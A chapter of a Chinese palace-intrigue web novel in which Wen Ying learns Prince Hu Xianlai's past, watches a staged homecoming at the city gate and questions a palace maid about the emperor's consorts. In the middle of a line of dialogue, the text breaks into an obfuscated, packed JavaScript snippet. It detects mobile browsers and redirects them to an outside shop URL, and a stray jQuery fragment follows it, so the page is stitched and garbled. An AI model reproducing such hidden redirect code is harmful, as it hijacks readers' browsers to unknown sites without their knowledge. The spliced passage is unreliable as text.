“我姑姑是胡族的公主…”胡贤莱开始说起了他的民族。
只稍开头这么一句,温盈就立刻想起来了:早年前,胡族嫁公主止戈,甚至胡王还送王子为质子,如此诚意只为两族平和共存。但轩辕氏在屠破云城后,或因威势,胡王举全族投降,永远效忠裕国。
“吴太后在宫中折磨姑妈害她死于非命,更害我阿母多年难孕!父亲为保我平安降生,终日围在那妖妇身边混淆视听。好在兄长继位,许我和阿母远离纷争,去往裕北…”胡贤莱话说半截,想起母亲惨死眼前却只能不回头地一路向北,害怕又气愤地哭成了泪人。
温盈起初以为他是个娇生惯养,无忧无虑的主子,从没想到小小年纪就已经历过生离死别。她颇为心疼地单手拢着他,脑袋里一闪而过一件开心事,当个哄人的,与他玩笑道:“别哭,你再勇敢一点,你皇兄未来或许就让你当皇帝了。”
胡贤莱抹去鼻涕眼泪,眨巴着晶莹的眼睫,多了几分天真无邪,他颇为认真:“皇兄说了,等他死了,若梁宸不想当皇帝,就让我带着遗诏去找他助我登基。但若他想当皇帝,就让我把遗诏烧了,再也别回盛景城。”
温盈嫌恶道:“梁宸能当皇帝?”胡贤莱好歹算是皇室宗亲,且他父亲蛰伏裕国国都多年,应是有些作为,否则轩辕捷不至于早早就决定让一个小孩子去争皇位。但梁宸,他又有什么底气?
胡贤莱点点头,小小声地拱手严肃道:“梁宸是武勇帝的私生子。”
“这你都知道?”
他耸耸肩平平嘴,眼珠子骨碌一圈,有些不自信:“我爹以前跟我说的。不过,兄长又说没这回事。”他顿了顿,又说道:“但如果他成了驸马爷,就一定能当皇上!”
“你说梁宸,和长公主?”温盈压下眉头,仔细思考:若梁宸有夺位之心,那么联手长公主除掉贾易后,恐怕下一步就是要对轩辕捷和胡贤莱动手了。说不定,此次招胡贤莱回京,就是此意。
“不过你可千万别说出去。”胡贤莱见温盈眉头紧锁,小声提醒:“这些都是我皇兄的猜测。吴太后最不喜摄政王,定不会把长公主嫁给他。况且他自己也说了,最恨轩辕氏。”
温盈讥笑:“最恨轩辕氏还千里迢迢来裕北保护轩辕捷吗?”
“这你就不懂了,”胡贤莱恢复了情绪,又变成了鬼机灵的样子,“兄弟之情大过天!轩辕氏不仁,但我皇兄,”他猛拍三下胸脯,竖起了大拇指,撅着嘴正气凌然道:“绝对是最有情义的那个!”
温盈噗嗤笑出声来,想起轩辕捷日常那不拘小节的玩闹样子,也难怪胡贤莱跟他好相处。且听他曾为摄政王开脱示好,应是信他几分的。但估摸着还是对他设防,否则不会背着他向胡贤莱交代诸多。
她心说:轩辕捷还真把自己的藏得极好。连她都差点信了他是个蠢的。
她瞥向胡贤莱,忽的问起:“回盛景城,会见到吴太后和长公主。你怕不怕?”
胡贤莱眸光暗了两分,说不怕是假的。但他振作精神,为自己鼓舞道:“不怕,我阿爹也在呢!若真有危险,大不了父子同冢!”
温盈笑赞,轩辕捷的眼光不错,挑的接班人有胆有谋,不算孬种。
\-
回盛景紧赶慢赶走了半旬,原以为到达之日可以稍稍松下一口气,不曾想,一入城,温盈便领教到了长公主的厉害。
轩辕丽亲率文武百官在城门口恭迎,说是庆贺出师之利,实则是想让贾易与胡贤莱当众交出兵符。
贾易老谋深算,自是一脸忠诚将裕中军兵符双手奉上,还虚与委蛇地说了一通官场上的漂亮话。自述前大将军贾得种种过失与谋逆之处,更将端王胡贤莱描述成智勇双全的贤王。
他高声唤道:“裕北有端王统领,实属国之大幸!”这一句看似的称赞,实则是在轩辕丽面前敲响警钟。
胡贤莱听到贾易这般恭维,背着人伸长舌头呕了一下,嘴里空空嚷嚷地学着他那作派,满眼鄙夷。
待到轩辕丽亲自走来,一脸笑靥与他招呼:“端王,许久未见呐,真是越来越有男子气概了!”
胡贤莱立马正经,甚至眼角挤出些眼泪,张开双手,做出个相拥的架势,却只是做个样子并不动作,奉承道:“长公主依旧貌如天仙,真不知,未来是哪位王孙贵族能有福气娶走公主。”
轩辕丽听到这句话,立马僵住了笑脸,眉眼间也渐失了笑意。但片刻后,她玉手一抬,顺势收回双臂,侧身冲着百官笑叹:“今儿你父亲没到场。他虽有官职,但身份,略低了些,只是个宫中司乐,调教舞姬的,”她故意在胡贤莱面前做出那惋惜的亏欠模样,歉道:“所以,眼下怕不能团聚了。”
温盈此时换上了春华的面皮,站候在轩辕捷的车架旁,眼瞟到后头,本还担心胡贤莱听父亲被折辱会有所失态,却看到他不以为意地摆摆手,道:“无妨无妨!阿父得太后赏识,又被她老人家体恤年事已高,能有份闲职直到告老,我与母亲一个在天一个在地,都会感念太后与长公主的恩情的!”说罢,他揖手折腰冲她深深一拜。
温盈眼尖,她分明看出长公主那皮笑肉不笑的表情之下潜藏的杀意。
轩辕丽轻哼一声,转身又变了脸,成了一脸担忧,甚至要哭泣的样子,她抹着泪,满脸心疼担忧冲轩辕捷的马车快步而来:“皇帝…”
正当时,温盈掀起了车帘,与庆云一左一右,将轩辕捷扶下。他伤口本该愈合,可他却每日都剜上一刀,为的就是在今日做出这伤口渗血,性命垂危的真实姿态。
百官见状不免惊呼,一时间齐刷刷地跪地喊道:“吾皇圣安!”
轩辕捷气息单薄,只抬抬手免去礼节,故意一个踉跄从马凳跌下。轩辕丽在侧真想他就这么摔得一命呜呼,可还是装模作样地挽上他的小臂,将他扶起。
她一双泪眼,嘴里恨道:“大胆贼子,竟真生了谋逆之心,胆敢加害于你!本宫与太后定会诛他九族!”
此话一出,百官低垂的眼睛皆不约而同朝贾易看去。贾易逼不得已,在城门口冲轩辕氏姐弟跪下,叩地有声,高声喊道:“臣有罪!臣教弟无方!未能察觉他的狼子野心!好在圣上洪福齐天!”
说罢,他让人抬上十箱黄金,又甩手将身边的木盒倾倒,贾得的人头、身段、脚趾、手指纷纷落地,场面触目惊心。不少官员闻到一地恶臭,止不住地干呕。
轩辕丽瞠目,亦是忍着不适片刻不语。梁宸站出身,当场扶起贾易,为他辩白:“丞相大义灭亲,护驾有功。端王也是看在眼里的。”
胡贤莱接了梁宸的眼色,很是不情愿,却也做出义愤填膺之态,将前头的恭维悉数奉还:“正
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912484|213178||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是!丞相当时救本王与圣上于瞬息之间!更是杀伐果断斩下叛臣头颅!为我裕国除去大患呐!贾氏有丞相,可保万年!裕国有贾氏,可保永哉!”
轩辕捷此时在轩辕丽耳边轻语:“暂且放过了吧。”
轩辕丽也不好一人相抗,自责方才失言与贾易又互相说了些口不对心之语。总之在城门口耽误了好久功夫。
温盈在场冷眼旁观了这场大戏,一双眼睛跟着轩辕丽游荡,心想:这个女人若入千面门,这做戏表演的功夫定能与她不相上下。且她既摆的起公主的阵仗,又能放得下皇族的面子。这能屈能伸的本事,莫非是轩辕氏的真传?
她眼睛又落在轩辕捷身上,想道:这演戏的功夫,他也不遑多让。能把姐弟培养得如此相像,看来得归功于宫里的那位太后娘娘。
在外演了半日戏,温盈假作春华搀扶着轩辕捷回銮一路毫无阻碍,甚至在裕陵殿内,早有宫女备好衣物热水,为她沐浴更衣。
温盈不免好奇,只是旁敲侧击道:“圣上可有明说,入宫后,我是什么身份?”
服侍的小宫女怯怯地抬头瞧了她一眼,谨慎地答道:“奴婢不知。但姐姐服侍在圣上身边定是被极看重的。位分都是小事。”
温盈笑叹连轩辕捷身边的宫女都这般嘴甜,入宫后意外地令她感觉轻松。她卸下戒备,与这宫女多问了一句:“圣上的后宫,有哪些妃子?”
小宫女被这边境来的女子吓白了脸,心里头咕哝她竟如此大胆问询后宫主子。但也怕得罪圣上跟前的红人,便逐一介绍道:“皇贵妃甄氏,贵妃柳氏,贵嫔魏氏和贵人南宫家。后宫小主诸多,唯有这几位最得圣宠,且出自名门望族。”
最?
温盈心笑:这小宫女灵巧,对于身居高位的主子是一个也不得罪。不愧是轩辕捷宫里的,还真是雨露均沾。
宫女顿了顿,忽的又补充道:“还有一位小主,深得太后娘娘青睐,不日将会入宫。”
温盈竖起耳朵,儿子都快死了,太后还有心情为他纳妃,看来此女绝非等闲,“哪家贵女,如此幸运。”她故意语不对味,好多套些话来。
小宫女笑外头来的女人最会吃醋,特意抑扬顿挫,“是,兵部,秦尚书的掌上明珠,裕国才女,秦琳琅小姐。”
“兵部尚书啊。”温盈喃喃重复,心想今日轩辕丽收兵符之举,可见太后纳他女儿为妃实为固权。她欢声羡慕道:“那可是位高官呢!”
小宫女来了兴致,语气也更兴奋了,碎嘴的心思全然被勾了出来:“正是!但听说这位秦姑娘钟情于摄政王多年,太后娘娘却执意拆散,为的是故意打摄政王的脸,以作警示!”
“警示什么?”
“警示,”小宫女低吟一番,兀的想起:“命里无时莫强求!”她印象深刻,太后训斥摄政王时,总说的就是这么一句。
温盈好心提醒:“这话,可不是你该说的。”
小宫女大惊失色,顿时变成了哑巴,还失手跌了水瓢,赶忙跪在一旁不断磕头请罪道:“奴婢知错了!奴婢知错了!”
温盈起身,自己穿了里衣,她压根没想以此难为小丫头。将她好心扶起,伸了手指做了个噤声动作在她唇前,贴心道:“谨言慎行,以防隔墙有耳。”
她朝门口睨去,那里有个人,偷听许久了。